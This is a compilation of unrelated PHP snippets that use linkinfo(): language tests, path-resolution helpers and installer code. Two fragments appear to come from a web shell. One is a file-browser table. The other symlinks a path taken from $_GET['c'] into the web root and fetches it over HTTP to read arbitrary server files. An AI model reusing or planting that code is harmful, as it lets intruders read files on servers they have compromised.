/** * This function is to replace PHP's extremely buggy realpath(). * @param string The original path, can be relative etc. * @return string The resolved path, it might not exist. */ function truepath($path) { // whether $path is unix or not $unipath = strlen($path) == 0 || $path[0] != '/'; // attempts to detect if path is relative in which case, add cwd if (strpos($path, ':') === false && $unipath) { $path = getcwd() . DIRECTORY_SEPARATOR . $path; } // resolve path parts (single dot, double dot and double delimiters) $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) { continue; } if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } $path = implode(DIRECTORY_SEPARATOR, $absolutes); // resolve any symlinks if (file_exists($path) && linkinfo($path) > 0) { $path = readlink($path); } // put initial separator that could have been lost $path = !$unipath ? '/' . $path : $path; return $path; }
echo "*** Testing linkinfo() and is_link() on deleted link ***\n"; // link name used here $linkname = "{$file_path}/symlink_link_linkinfo_is_link_link_variation5.tmp"; // create temp dir $dirname = "{$file_path}/symlink_link_linkinfo_is_link_variation5"; mkdir($dirname); // filename used here $filename = "{$dirname}/symlink_link_linkinfo_is_link_variation5.tmp"; // create the file $fp = fopen($filename, "w"); $data = "Hello World"; fwrite($fp, $data); fclose($fp); var_dump(symlink($filename, $linkname)); // create link // delete the link var_dump(unlink($linkname)); // delete the link // clear the cache clearstatcache(); // try using linkinfo() & is_link() on deleted link; expected: false $deleted_link = $linkname; var_dump(linkinfo($deleted_link)); var_dump(is_link($deleted_link)); echo "Done\n"; error_reporting(0); $file_path = dirname(__FILE__); $dirname = "{$file_path}/symlink_link_linkinfo_is_link_variation5"; $filename = "{$dirname}/symlink_link_linkinfo_is_link_variation5.tmp"; unlink($filename); rmdir($dirname);
echo "*** Testing symlink() for error conditions ***\n"; //zero arguments var_dump(symlink()); //more than expected var_dump(symlink($filename, $linkname, true)); //invalid arguments var_dump(symlink(NULL, $linkname)); // NULL as filename var_dump(symlink('', $linkname)); // empty string as filename var_dump(symlink(false, $linkname)); // boolean false as filename var_dump(symlink($filename, NULL)); // NULL as linkname var_dump(symlink($filename, '')); // '' as linkname var_dump(symlink($filename, false)); // false as linkname echo "\n*** Testing linkinfo() for error conditions ***\n"; //zero arguments var_dump(linkinfo()); //more than expected var_dump(linkinfo($linkname, true)); //invalid arguments var_dump(linkinfo(NULL)); // NULL as linkname var_dump(linkinfo('')); // empty string as linkname var_dump(linkinfo(false)); // boolean false as linkname echo "Done\n";
// delete the link created unlink($obj->linkname); // clear the cache clearstatcache(); echo "\n*** Testing symlink(), link(), linkinfo() and is_link() with linknames stored as members of an array ***\n"; $link_arr = array("{$dirname}/symlink_link_linkinfo_is_link_link.tmp"); /* Testing on soft links */ echo "\n-- Working with soft links --\n"; // creating soft link var_dump(symlink($filename, $link_arr[0])); // check if the link exist var_dump(linkinfo($link_arr[0])); // check if link is soft link var_dump(is_link($link_arr[0])); // delete the link created unlink($link_arr[0]); // clear the cache clearstatcache(); /* Testing on hard links */ echo "\n-- Working with hard links --\n"; // creating hard link var_dump(link($filename, $link_arr[0])); // check if the link exist var_dump(linkinfo($link_arr[0])); // check if link is soft link; expected: false as this is a hardlink var_dump(is_link($link_arr[0])); // delete the links created unlink($link_arr[0]); // clear the cache clearstatcache(); echo "Done\n";
protected function _linkPublicHtmlFolder() { if (!empty($this->options['public_html'])) { if (function_exists('symlink')) { $this->options['public_html'] = $this->getAbsolutePath($this->options['public_html']); $link_info = @linkinfo($this->options['public_html']); $target = $this->options['directory'] . DS . 'public'; if ($target == $this->options['public_html']) { // No need to symlink, same path on target return true; } if (!is_numeric($link_info) || $link_info < 0) { $this->yield("\n Adding symbolic link " . $this->options['public_html'] . ' to the public web server.'); if (@symlink($target, $this->options['public_html'])) { return true; } } } $this->yield("\n Could not create a symbolic link of " . $this->options['directory'] . DS . 'public' . ' at ' . $this->options['public_html']); } return false; }
/** * Create a link. * * @access public * @param string $name Link name. * @param string $target Target name. * @return bool */ public static function create($name, $target) { if (false != linkinfo($name)) { return true; } return symlink($target, $name); }
$linkinfo = linkinfo($hard_link); $s1 = lstat($hard_link); echo "linkinfo() returns : {$linkinfo}\n"; echo "lstat() returns lstat['dev'] as {$s1['0']}\n"; if ($s1[0] == $linkinfo) { echo "\nlinkinfo() value matches lstat['dev']\n"; } else { echo "\nWarning: linkinfo() value doesnt match lstat['dev']\n"; } // delete link unlink($hard_link); echo "\n*** Checking lstat() on a soft link to directory ***\n"; // create soft link var_dump(symlink($dirname, $soft_link)); // confirming that linkinfo() = lstat['dev'], this should always match $linkinfo = linkinfo($soft_link); $s1 = lstat($soft_link); echo "linkinfo() returns : {$linkinfo}\n"; echo "lstat() returns lstat['dev'] as {$s1['0']}\n"; if ($s1[0] == $linkinfo) { echo "\nlinkinfo() value matches lstat['dev']\n"; } else { echo "\nWarning: linkinfo() value doesnt match lstat['dev']\n"; } // delete link unlink($soft_link); echo "Done\n"; error_reporting(0); $file_path = dirname(__FILE__); $dirname = $file_path . "/symlink_link_linkinfo_is_link_variation9"; $filename = "{$dirname}/symlink_link_linkinfo_is_link_variation9.tmp";
/** * @brief get a list of themes that are not yet installed * * @access public * * @return array list of themes that are not installed */ public function notInstalled() { App::uses('InstallerLib', 'Installer.Lib'); $installed = $this->installed(); $notInstalled = array(); foreach (InfinitasPlugin::listPlugins('loaded') as $plugin) { foreach (InstallerLib::findThemes($plugin) as $theme) { if (!array_key_exists($theme, $installed)) { $notInstalled[$plugin . '.' . $theme] = Inflector::humanize(Inflector::underscore($plugin . Inflector::camelize($theme))); } } } foreach (InstallerLib::findThemes() as $theme) { if (!linkinfo(InstallerLib::themePath(null, $theme)) && !array_key_exists($theme, $installed)) { $notInstalled[$theme] = Inflector::humanize(Inflector::underscore($theme)); } } return $notInstalled; }
public function absolutePath($path) { $isEmptyPath = strlen($path) == 0; $isRelativePath = $path[0] != '/'; $isWindowsPath = !(strpos($path, ':') === false); if (($isEmptyPath || $isRelativePath) && !$isWindowsPath) { $path = getcwd() . DIRECTORY_SEPARATOR . $path; } // resolve path parts (single dot, double dot and double delimiters) $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $pathParts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutePathParts = array(); foreach ($pathParts as $part) { if ($part == '.') { continue; } if ($part == '..') { array_pop($absolutePathParts); } else { $absolutePathParts[] = $part; } } $path = implode(DIRECTORY_SEPARATOR, $absolutePathParts); // resolve any symlinks if (file_exists($path) && linkinfo($path) > 0) { $path = readlink($path); } // put initial separator that could have been lost $path = !$isWindowsPath ? '/' . $path : $path; return $path; }
<?php $filename = dirname(__FILE__) . "/symlink.dat"; $link = dirname(__FILE__) . "/symlink.link"; var_dump(symlink($filename, $link)); var_dump(readlink($link)); var_dump(linkinfo($link)); @unlink($link); var_dump(readlink($link)); var_dump(linkinfo($link)); touch($filename); var_dump(symlink($filename, dirname(__FILE__))); @unlink($link); var_dump(symlink($filename, $link)); @unlink($link); touch($link); var_dump(symlink($filename, $link)); @unlink($link); var_dump(link($filename, $link)); @unlink($filename); var_dump(link($filename, $link)); @unlink($link); var_dump(symlink(".", ".")); var_dump(link(".", ".")); var_dump(readlink(".")); var_dump(linkinfo(".")); echo "Done\n";
/** * Gets information about a link * * @param string $path Path to the link. * * @return int */ public function linkinfo(string $path) : int { return linkinfo($path); }
public static function getAbsolutePath($path, $default = null) { // Get the normalized oldPath, return the $default value if failed if (($path = self::getNormalizedPath($path)) === null) { return $default; } // Try to get the real oldPath using PHPs function, return the result if succeed if (($realPath = realpath($path)) !== false) { return $realPath; } // Try to make the oldPath absolute without any system functions // Check whether the oldPath is in unix format or not $isUnixPath = empty($path) || $path[0] != '/'; // Detect whether the oldPath is relative, if so prefix the current working directory if (strpos($path, ':') === false && $isUnixPath) { $path = getcwd() . DIRECTORY_SEPARATOR . $path; } // Put initial separator that could have been lost $path = !$isUnixPath ? '/' . $path : $path; // Resolve any symlinks if (file_exists($path) && linkinfo($path) > 0) { $path = readlink($path); } // Return the result return $path; }
var_dump(file_put_contents($path1, 'data')); var_dump(file($path1)); var_dump(readfile($path1)); var_dump(parse_ini_file($path1)); var_dump(md5_file($path1)); var_dump(sha1_file($path1)); var_dump(fileperms($path1)); var_dump(fileinode($path1)); var_dump(filesize($path1)); var_dump(fileowner($path1)); var_dump(filegroup($path1)); var_dump(fileatime($path1)); var_dump(filemtime($path1)); var_dump(filectime($path1)); var_dump(filetype($path1)); var_dump(linkinfo($path1)); var_dump(is_writable($path1)); var_dump(is_writeable($path1)); var_dump(is_readable($path1)); var_dump(is_executable($path1)); var_dump(is_file($path1)); var_dump(is_dir($path1)); var_dump(is_link($path1)); var_dump(file_exists($path1)); var_dump(stat($path1)); var_dump(lstat($path1)); var_dump(realpath($path1)); var_dump(disk_free_space($path1)); var_dump(diskfreespace($path1)); var_dump(disk_total_space($path1)); var_dump(chmod($path1, '644'));
} echo $A, '</font></a></td><td><a href="?action=dir&dir=', $SCDIR, '&dirname=', urlencode($dir[$dirFILE]), '">INFO</a></td></tr>'; } foreach ($Files as $dirFILE) { if (is_link($dir[$dirFILE])) { /*display links*/ ++$L; echo '<tr onmouseover="this.style.backgroundColor=\'#8B0000\';" onmouseout="this.style.backgroundColor=\'\';"><td><table class="NoPad" style="margin-left:-2px;"><tr><td><img src="?action=img&image=link" width="16" height="16" alt="SymLink" /></td><td>'; $L = readlink($dir[$dirFILE]); if (is_dir($dir[$dirFILE])) { echo '<a href="?dir=', urlencode(realpath($dir[$dirFILE])), '">[', $dir[$dirFILE], ']'; } else { echo '<a href="?action=file&file=', realpath($L), '">', $dir[$dirFILE]; } echo '</a></td></tr></table></td><td>LINK -> ', $L; if (linkinfo($L) != -1) { echo ' <font color="green">[Exists]</font>'; } else { echo ' <font color="red">[Exists]</font>'; } echo '</td><td>', date('F d Y H:i:s.', filemtime($dir[$dirFILE])), '</td><td>'; $A = filegroup($dir[$dirFILE]); $B = fileowner($dir[$dirFILE]); echo $B; if (function_exists('posix_getpwuid')) { $PwUID = posix_getpwuid($B); echo ' (', $PwUID['name'], ')'; } echo '/', $A; if (function_exists('posix_getgrgid')) { $PwGID = posix_getgrgid($A);
/** * Check whether the symbolic link exists. * * @param SymbolicLink|string $link Symbolic link instance or the symbolic link path as a string. * * @return bool True if the symbolic link exists, false otherwise. * False will be returned if the path of the symbolic link is invalid. */ public static function exists($link) { // Convert the link into a path string, return the $default value if failed if (($link = self::asPath($link, false)) === null) { return false; } // Get the symbolic link info and check whether the link exists, return the result $info = linkinfo($link); return $info !== 0 && $info !== false; }
<?php chdir(__DIR__); ini_set("open_basedir", "."); require_once "open_basedir.inc"; $initdir = getcwd(); test_open_basedir_before("linkinfo", FALSE); chdir($initdir); $target = $initdir . "/test/bad/bad.txt"; $symlink = $initdir . "/test/ok/symlink.txt"; var_dump(symlink($target, $symlink)); chdir($initdir . "/test/ok"); var_dump(linkinfo("symlink.txt")); var_dump(linkinfo("../ok/symlink.txt")); var_dump(linkinfo("../ok/./symlink.txt")); var_dump(linkinfo("./symlink.txt")); var_dump(linkinfo($initdir . "/test/ok/symlink.txt")); $target = $initdir . "/test/ok/ok.txt"; $symlink = $initdir . "/test/ok/symlink.txt"; var_dump(symlink($target, $symlink)); var_dump(linkinfo($symlink)); var_dump(unlink($symlink)); test_open_basedir_after("linkinfo"); error_reporting(0); chdir(__DIR__); require_once "open_basedir.inc"; delete_directories();
/** * Gets information about a link * * ID of device containing file, * Verify link of filepath * It use S_ISLNK(st_mode) or is it a symbolic link * * @param string $path A filepath * @return stdev field|false */ public function getLinkInfo($path) { return linkinfo($path); }
if (!empty($ara)) { while (list($key, $val) = each($ara)) { print "{$val}:"; } print "\n"; } } } echo "</textarea>"; $k = $_GET['c']; $flib = "sniper4.txt"; if ($k == "") { die; } else { @unlink($flib); $sym = $k; $link = getcwd() . "/" . $flib; @symlink($sym, $link); if ($k[0] == "/") { echo "<script> window.location = '" . $flib . "'</script>"; } else { echo "<pre><xmp>"; echo readlink($flib) . "\n"; echo "Filesize: " . linkinfo($flib) . "B\n\n"; $ddir = getcwd(); $file2 = str_replace($DOCUMENT_ROOT, '', $ddir); $file2 = "http://" . $SERVER_NAME . $filee . $flib; $result = file_get_contents($file2); echo $result; } }
/** * @param string $path * @param bool $allowFailure * * @return string * @throws Exception * @static * @author Panagiotis Vagenas <*****@*****.**> * @since 0.0.2 */ public static function truePath($path, $allowFailure = false) { $path = trim($path); // whether $path is unix or not $uniPath = strlen($path) == 0 || $path[0] != '/'; $unc = substr($path, 0, 2) == '\\\\' ? true : false; // attempts to detect if path is relative in which case, add cwd if (strpos($path, ':') === false && $uniPath && !$unc) { $path = getcwd() . DIRECTORY_SEPARATOR . $path; if ($path[0] == '/') { $uniPath = false; } } // resolve path parts (single dot, double dot and double delimiters) $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $pre = ''; if (strpos($path, '://') !== false) { $pre = substr($path, 0, strpos($path, '://') + 3); $subPathSuf = substr($path, strpos($path, '://') + 3); $path = '/' . preg_replace('#/+#', DIRECTORY_SEPARATOR, $subPathSuf); } else { $path = preg_replace('#/+#', DIRECTORY_SEPARATOR, $path); } if ($path === null) { if ($allowFailure) { return ''; } else { throw new Exception('Unresolved path'); } } $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $i => $part) { if ('.' == $part) { continue; } if ('..' == $part) { if (array_pop($absolutes) === null) { $slice = array_slice($parts, $i); array_unshift($slice, '../'); return self::truePath(implode(DIRECTORY_SEPARATOR, $slice)); } } else { $absolutes[] = $part; } } $path = implode(DIRECTORY_SEPARATOR, $absolutes); if ($pre) { $path = $pre . $path; } // put initial separator that could have been lost $path = !$uniPath ? '/' . $path : $path; $path = $unc ? '\\\\' . $path : $path; // resolve any symlinks if (function_exists('readlink') && file_exists($path) && is_link($path) && linkinfo($path) > 0) { $path = readlink($path); if ($path === false) { if ($allowFailure) { return ''; } else { throw new Exception('Unresolved path'); } } } return $path; }
function relative_symlink($target, $link) { @unlink($link); exec('cd "' . dirname($link) . '"; ln -s "' . getRelativePath($link, $target) . '" "' . basename($link) . '"'); return linkinfo($link) > 0; }
$sym_linkname = "{$file_path}/{$dirname}/symlink_link_linkinfo_is_link_softlink_basic2.tmp"; // name of the hard link created to $dirname $linkname = "{$file_path}/{$dirname}/symlink_link_linkinfo_is_link_hardlink_basic2.tmp"; // testing on soft link echo "\n-- Testing on soft links --\n"; // creating soft link to $dirname var_dump(symlink("{$file_path}/{$dirname}", $sym_linkname)); // this works, expected true // gets information about soft link created to directory; expected: true var_dump(linkinfo($sym_linkname)); // checks if link created is soft link; expected: true var_dump(is_link($sym_linkname)); // clear the cache clearstatcache(); // testing on hard link echo "\n-- Testing on hard links --\n"; // creating hard link to $dirname; expected: false var_dump(link("{$file_path}/{$dirname}", $linkname)); // this doesn't work, expected false var_dump(linkinfo($linkname)); // link doesn't exists as not created, expected false var_dump(is_link($linkname)); // link doesn't exists as not created, expected false // clear the cache clearstatcache(); // deleting the links unlink($sym_linkname); echo "Done\n"; error_reporting(0); $dirname = dirname(__FILE__) . "/symlink_link_linkinfo_is_link_basic2"; rmdir($dirname);
function _linkPublicHtmlFolder() { if (!empty($this->options['public_html'])) { if (function_exists('symlink')) { $this->options['public_html'] = $this->_absolutePath($this->options['public_html']); $link_info = @linkinfo($this->options['public_html']); if (!is_numeric($link_info) || $link_info < 0) { $this->yield("\n Adding symbolic link " . $this->options['public_html'] . ' to the public web server.'); if (@symlink($this->options['directory'] . DS . 'public', $this->options['public_html'])) { return true; } } } $this->yield("\n Could not create a symbolic link of " . $this->options['directory'] . DS . 'public' . ' at ' . $this->options['public_html']); } else { $this->_addRootLevelDispatcher(); $this->_addHtaccessDirectoryProtection(); } return false; }
/** * Validates a file path * * Adapted from http://stackoverflow.com/questions/4049856/replace-phps-realpath/4050444#4050444 as a replacement for PHP's realpath * * @since 4.0.0 * * @param string $path The original path, can be relative etc. * * @return bool true if the path is valid and writeable else false */ public static function validate_path($path) { // whether $path is unix or not $unipath = strlen($path) == 0 || $path[0] != '/'; // attempts to detect if path is relative in which case, add cwd if (false === strpos($path, ':') && $unipath) { $path = getcwd() . DIRECTORY_SEPARATOR . $path; } // resolve path parts (single dot, double dot and double delimiters) $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) { continue; } if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } $path = implode(DIRECTORY_SEPARATOR, $absolutes); // resolve any symlinks if (function_exists('linkinfo')) { //linkinfo not available on Windows with PHP < 5.3.0 if (file_exists($path) && 0 < linkinfo($path)) { $path = @readlink($path); } } else { if (file_exists($path) && 0 < linkinfo($path)) { $path = @readlink($path); } } // put initial separator that could have been lost $path = !$unipath ? '/' . $path : $path; $test = @touch($path . '/test.txt'); @unlink($path . '/test.txt'); return $test; }
<?php /* Prototype: bool symlink ( string $target, string $link ); Description: creates a symbolic link to the existing target with the specified name link Prototype: bool is_link ( string $filename ); Description: Tells whether the given file is a symbolic link. Prototype: bool link ( string $target, string $link ); Description: Create a hard link Prototype: int linkinfo ( string $path ); Description: Gets information about a link */ /* Variation 2 : Create hard link to non-existent file */ $file_path = dirname(__FILE__); // non-existing filename $non_existent_file = "{$file_path}/non_existent_file_variation2.tmp"; // non-existing linkname $non_existent_linkname = "{$file_path}/non_existent_linkname_variation2.tmp"; echo "*** Creating a hard link to a non-existent file ***\n"; // creating hard link to non_existent file var_dump(link($non_existent_file, $non_existent_linkname)); // expected false // checking linkinfo() and is_link() on the link; expected: false var_dump(linkinfo($non_existent_linkname)); var_dump(is_link($non_existent_linkname)); echo "Done\n";